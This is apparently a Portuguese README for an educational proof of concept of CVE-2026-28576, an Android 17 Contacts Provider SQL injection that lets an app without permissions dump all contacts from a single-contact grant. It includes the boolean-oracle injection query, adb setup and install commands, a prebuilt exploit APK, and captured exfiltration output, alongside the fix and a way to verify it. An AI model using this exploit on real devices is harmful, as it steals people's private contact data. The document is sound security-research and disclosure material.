
Prova de conceito educacional que demonstra uma vulnerabilidade de injeção de SQL no Contacts Provider do Android 17, permitindo que um aplicativo sem permissões exfiltre todo o banco de dados de contatos por meio de uma concessão de URI de contato único.
Um contato selecionado, todos os contatos: uma porta de compatibilidade targetSdk transforma uma concessão de seleção de um único contato em um despejo completo do banco de dados de contatos.
O Android 17 endureceu o Contacts Provider contra injeção de SQL com setStrictColumns() / setStrictGrammar() — mas distribuiu o endurecimento atrás de uma mudança de compatibilidade controlada por targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Qualquer aplicativo direcionado ao SDK 36 ou inferior ignora silenciosamente as verificações estritas e pode ocultar subconsultas de oráculo booleano na selection da consulta para ler todo o banco de dados de contatos por meio de uma concessão de URI de um único contato. Sem READ_CONTACTS, sem permissões nenhuma.
Nota: Nós não descobrimos esta vulnerabilidade. Este repositório contém nossa análise, reprodução e PoC educacional independentes para ajudar a comunidade de segurança a entender a classe de bug: correções de segurança protegidas por
@EnabledAfter(targetSdkVersion)deixam todo aplicativo de legado-alvo no caminho vulnerável.
Artigo completo com capturas de tela e vídeo de demonstração: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # Aplicativo de exploração PoC (UI + seletor de contatos do sistema)
│ ├── src/ # MainActivity.java — seletor + exploração de oráculo booleano
│ ├── AndroidManifest.xml # ZERO permissões, targetSdk 36
│ └── build.sh # Compilar sem gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # APK PoC pré-compilado (assinado para debug, pronto para instalar)
├── REPRODUCE.md # Guia completo de reprodução passo a passo
├── evidence-*.log # Execuções capturadas vulneráveis / corrigidas
└── README.md
Você precisa de um emulador Android 17 com nível de patch de segurança anterior a 2026-07-01
(usamos o AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — uma imagem beta que ainda carrega a porta de compatibilidade vulnerável).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Verifique se o nível de patch é anterior à correção
adb shell getprop ro.build.version.security_patch
# Insira alguns contatos vítima (como shell, que possui permissões de contatos)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Consulte REPRODUCE.md para a semeadura completa de contatos e ambas as variantes de execução.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
Na tela:
checkUriPermission -> 0) e o único contato que ele está legitimamente autorizado a ver.Requer Android SDK (build-tools 36.0.0, plataforma android-37.0) e um JDK 17. Sem necessidade de gradle:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, SEM permissões)
A camada de concessão funciona corretamente. O seletor de contatos do Android 17 entrega ao aplicativo uma concessão de URI somente leitura para exatamente um contato: content://com.android.contacts/contacts/lookup/<key>/1. Consultar diretamente qualquer outra coisa é recusado com uma SecurityException.
A camada SQL não funciona. Como o PoC tem como alvo o SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) retorna falso e o provedor ignora setStrictColumns() / setStrictGrammar(). O sempre ativo setStrict(true) com quebra de parênteses apenas impede fugas de cláusulas como ') OR 1=1 --; ele não faz nada contra subconsultas balanceadas.
Injeção de oráculo booleano. O aplicativo emite uma consulta de aparência comum contra sua URI concedida com uma subconsulta oculta na seleção:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
Em uma compilação vulnerável do Android 17, o aplicativo sem permissões exfiltra todos os nomes, números de telefone e e-mails por meio de uma concessão para um único contato (consulte evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
A correção altera a mudança 484953293 para aplicar-se a todos os chamadores independentemente do targetSdk — uma única anotação excluída (variante pública: commit c4129a1c do GrapheneOS):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Você pode reproduzir o comportamento corrigido exato em uma compilação vulnerável sem atualizar nada:
adb shell am compat enable 484953293 com.poc.cve202628576
# A mesma consulta agora morre antes de chegar ao SQLite:
# IllegalArgumentException: Invalid token SELECT
Consulte evidence-patched-run.log.
Análise e PoC por Mobile Hacking Lab. Reproduzimos esta vulnerabilidade de forma independente para fins educacionais.
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. Use-a somente em dispositivos e ambientes que você possui ou para os quais tem permissão explícita de teste. Os autores não são responsáveis por qualquer uso indevido.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Severidade | Alta no boletim; o advisory do GitHub pontua como CVSS v4 10.0 (Crítica) — discutivelmente alta dadas as pré-condições |
| Componente | Contacts Provider (ContactsProvider2.queryLocal()) |
| Causa raiz | Mudança de compatibilidade ENFORCE_STRICT_SQL_CHECKS protegida por @EnabledAfter(BAKLAVA) |
| Impacto | Qualquer aplicativo com uma concessão de URI de um único contato lê todo o banco de dados de contatos sem READ_CONTACTS |
| Afetados | Android 17, nível de patch de segurança < 2026-07-01 |
| Corrigido | Android 17 Security Bulletin |
Se o caractere adivinhado corresponder, a linha concedida retorna (cursor.getCount() == 1); caso contrário, o cursor fica vazio. Uma consulta por palpite de caractere, iterada sobre LIMIT 1 OFFSET k para cada linha e mimetype — um número de telefone cai em menos de um segundo, e todo o banco de dados em bem menos de um minuto.